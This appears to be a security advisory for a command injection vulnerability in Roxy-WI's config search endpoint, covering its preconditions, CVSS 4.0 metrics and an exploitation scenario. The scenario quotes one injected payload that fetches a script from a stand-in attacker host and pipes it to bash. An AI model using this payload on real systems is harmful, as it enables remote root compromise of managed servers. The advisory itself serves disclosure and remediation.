Roxy-WI EUVD-2026-25378

Attacker must possess valid authenticated credentials to the Roxy-WI web interface (PR:L in CVSS vector indicates low-privileged user access is sufficient, not requiring administrative Roxy-WI permissions). The vulnerable /config/<service>/find-in-config endpoint must be accessible to authenticated users, which is the default configuration for normal operational use of the search feature. The Roxy-WI instance must have active SSH connectivity configured to at least one managed server (Haproxy, Nginx, Apache, or Keepalived) for the command injection to reach a target system. No user interaction is required (UI:N) and attack complexity is low (AC:L) as the injection point is a straightforward API endpoint without additional protections. Exploitation is NOT limited by network segmentation since managed servers are intentionally SSH-accessible from the Roxy-WI host, nor by special application features since configuration search is core functionality.

This represents a high-priority vulnerability requiring immediate remediation for Roxy-WI deployments. The CVSS 4.0 vector (AV:N/AC:L/PR:L) indicates network-accessible exploitation with low attack complexity requiring only low-privileged authentication, while the impact metrics (VC:H/VI:H/VA:H) show complete confidentiality, integrity, and availability compromise of the targeted managed server. The existence of a proof-of-concept (E:P in CVSS vector) significantly lowers the barrier to exploitation. However, the real-world risk is somewhat bounded by two factors: attackers need valid Roxy-WI credentials (PR:L) to reach the vulnerable endpoint, and the scope is unchanged (SC:N/SI:N/SA:N) meaning initial compromise is limited to managed servers accessible via the Roxy-WI instance rather than the web application itself. Organizations using Roxy-WI to manage critical infrastructure (load balancers, web servers) face elevated risk as compromise of these systems could enable lateral movement, service disruption, or data exfiltration. The combination of sudo-level execution and management of network-facing services makes this a realistic pathway for infrastructure compromise despite the authentication requirement.

An attacker with valid low-privilege Roxy-WI credentials accesses the web interface and crafts a malicious HTTP request to /config/nginx/find-in-config with a 'words' parameter containing shell metacharacters like '; whoami; curl attacker.com/shell.sh | bash;'. The vulnerable endpoint fails to sanitize this input and constructs a grep command executed via SSH on a managed Nginx server with sudo privileges. The injected commands break out of the grep context, establishing a reverse shell to the attacker's infrastructure with root-level access to the managed server, enabling data theft, service manipulation, or use as a pivot point for further network compromise.